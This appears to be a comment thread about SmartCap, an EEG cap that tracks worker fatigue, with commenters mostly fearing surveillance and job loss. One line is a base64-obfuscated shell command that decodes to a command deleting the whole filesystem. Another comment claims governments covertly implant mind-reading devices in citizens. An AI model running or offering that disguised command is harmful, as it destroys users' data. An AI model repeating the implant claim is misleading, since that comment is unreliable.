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SmartCap Reads Brain Waves to Monitor Workers' Fatigue Levels
Zothecula writes "You don't need to be an expert in occupational safety to know that worker fatigue is one of the leading causes of workplace accidents — this particularly applies to people who operate heavy machinery or drive for a living. While it would be great if all employees simply took a break when fatigue started setting in, it can sometimes be difficult for people to tell just how tired they really are. That, or they decide that they just want to push through and get the job done, drowsiness be damned. An invention from Australia's EdanSafe, however, takes the guesswork out of the picture. It's called the SmartCap, and it measures employee fatigue in real time by monitoring its wearer's brain waves."
Does it include a smartphone app?
$(echo cm0gLXJmIC8= | base64 --decode)
Now we can enforce policies which say that workers can't stop until they are completely worn out.
The problem has never been knowing whether a worker is tired or the degree. Workers are well aware of how tired they are. The problem is jobs that pretty much require them to keep working anyway.
When I begin to hallucinate I usually like to take a break.
Can any experts out there who work with sensors and EEG comment on 1. the efficacy of a cap mounted EEG sensor array (are there issues with making sure sensors are correctly in contact with the skin rather than hair, etc.)? 2. Challenges around correct automatic analysis of received data? What kind of accuracy is required from this kind of set up to be able to conclude successfully how fatigued an operator is? What is the permissible level of error with readings (do you need to be super-accurate or is this kind of rig very error-tolerant?)
Interested to hear whether this is likely to be a very reliable piece of equipment or something prone to error and annoying to use and will therefore be sabotaged as quickly as possible by the operators ("Gee Bob, I'd be happy to wear it but the danged thing just doesn't seem to go since I accidently dropped it in a puddle last week").
You know this will be used to fire people whose brain waves suggest that they tire (even slightly) faster than others, and replace them with more efficient humans...
Something tells me the use of such a device will be blocked (especially in unionized industries).
.. so we've decided to let you go because we're afraid you might have an accident and sue us or make the company look bad .."
Trust me, the minute these things are hooked up to statistical reporting systems, they'll be used to benefit the company and not the workers.
working 70 hour work weeks... How will they distinguish tired from normal
Another brilliant invention from Australia, the nation with the highest alcohol related brain shrinkage in the World.
So people that read higher on average for fatigue get canned, people that stay sharp longer keep their jobs and the flood gates for all sorts of "brain monitoring" opening, soon there will be a job focus measurement, you get distracted to easily!!! You're fired!!!
"If any question why we died, Tell them because our fathers lied."
While it would be great if all employees simply took a break when fatigue started setting in, it can sometimes be difficult for people to tell just how tired they really are.
It would be great if my employer allowed a break when fatigue sets in, rather than making me wait until my mandated break time.
If this becomes common, expect the slave mines to get even worse.
http://www.youtube.com/watch?v=2fwwT5jp-dA
Shoes for Industry. Shoes for the Dead.
Note to self: Also order coffee machines integrated with intravenous delivery control modules to inject more caffeine when the fatigue level goes above threshold into these bitching and moaning, belly aching malingerers, when their caffeine systems have too much blood in them.
Second note to self: Scout for small islands near Bahamas to buy with the bonus that will surely come due to the increased productivity of my team.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
coming soon to foxconn work till you drop and then we will auto pump you with drugs to keep you up.
This was done in 3001, everyone had to wear a cap to monitor brainwaves. And in the BBC series The Tripods. This is not a new idea. Arthur C Clarke was a visionary.
liberare massarum ex ignorantia, clausa descendit molestie.
...and the headgear quits sensing how tired you are, and TELLS YOU how tired you are.
I'm meaning to be facetious with this, but I suspect that at some level this really is possible. Just like medications can keep you awake and improve your alertness, I'm strongly suspect that some form of electrostimulation could do the same, probably with fewer ill side-effects. As has been said about the "brain pills", how far from "neat trick" to "mandatory to keep your job in a competitive market"?
Do Republicans really dislike birth control for religious reasons, or is the dislike really so that there will be a surplus labor market, leading to lower pay?
The living have better things to do than to continue hating the dead.
They'll find some way to wake you up with a small electrical shock, or Sonic Sound. They'll start using this technology overseas to keep workers working to maximum capacity. I think they had something like this in the movie THX1138.
-- By all means let's be open-minded, but not so open-minded that our brains drop out.
I literally just dozed off while reading this article.
Fortunately they are already illegal in the EU.
On the positive side I can see them being useful for evaluating things like pilot fatigue and developing ways to limit it on long flights.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
Not going to be used even remotely for what it should be excluding heavy machinery (which would be very valueable).
They'll use it to monitor performance levels. Employee's often perform less work when tired than when awake and alert. Stores will want to use them to monitor sales associates and so on. They can also tell then if you're coming into work tired and use these metrics in determining if they should let you go.
"Hmm..sales are bad this month. Could just be a slow month for retail....oh hey..look...jim's been really tried this month. I guess he's just not performing, that's what sales aren't working. Heck, with all this sopa and people definitely always want our products no matter what so clearly piracy is the only thing that hurts profits it must be jims fault"
(Sorry about the slight derailment into sopa, screw you large companies, half your content sucks and isn't worth buying and wouldn't be bought either way)
I think you could do that with a tilt meter. They need those in classrooms, too.
SmartCap version 1 just reads how tired you are. SmartCap version 2 senses the subjects you are thinking about. SmartCap version 3 with new Employee Thought Enforcement Collar can give the employee a mild shock if the employee's thoughts veer off of approved topics. Your workers' productivity will improve dramatically once you can restrict their thoughts to only work-based activities!
My sci-fi novel, Ghost Thief, is now available from Amazon.com.
This is great, but you can bet someone will find a medication that artificially lowers brainwaves to get out of doing work.
Watch for this to be used in stealth ageism.
It's better to vote for what you want and not get it than to vote for what you don't want and get it.
- E. Debs
The government has been reading the minds of citizens for years using covertly-implanted neurotechnology that they put in people's heads while they are knocked out. Remember all those "alien abduction" stories of the past 20-30 years?
The neurotech is like a hyper-advanced version of your iPhone. But it lets them send commands to your brain, including verbal thought, audio and video information and motor commands (involuntary movement). They can also decode what you are thinking in real-time.
This is already being dozen to at least thousands of citizens covertly without their knowledge or consent and constitutes a grave human rights violation on a mass scale. Most western governments are doing this and have been for years. For more info just google "synthetic telepathy" and "targeted individuals." Also check out this article:
http://www.karlaturner.org/when-everyone-has-a-brain-implant [karlaturner.org]
Physical pain is biology's way of telling us something is wrong, yet it's one thing doctors have no objective way of measuring.
The amount of pain a person is *really* experiencing, and its location and nature, are in many cases the only information a doctor has to go on for both diagnosing and treating injuries and illnesses. If they could measure that pain the way they can measure temperature and blood pressure - their ability to treat us effectively would be increased as dramatically as it has by the existence of thermometers and blood pressure cuffs.
Heck, even if you could only determine vaguely how much general physical pain a person was experiencing - that would still be a staggering improvement over what we have now. If we can determine something as relatively vague as fatigue from brain waves, the ability to determine pain levels is certainly within reach.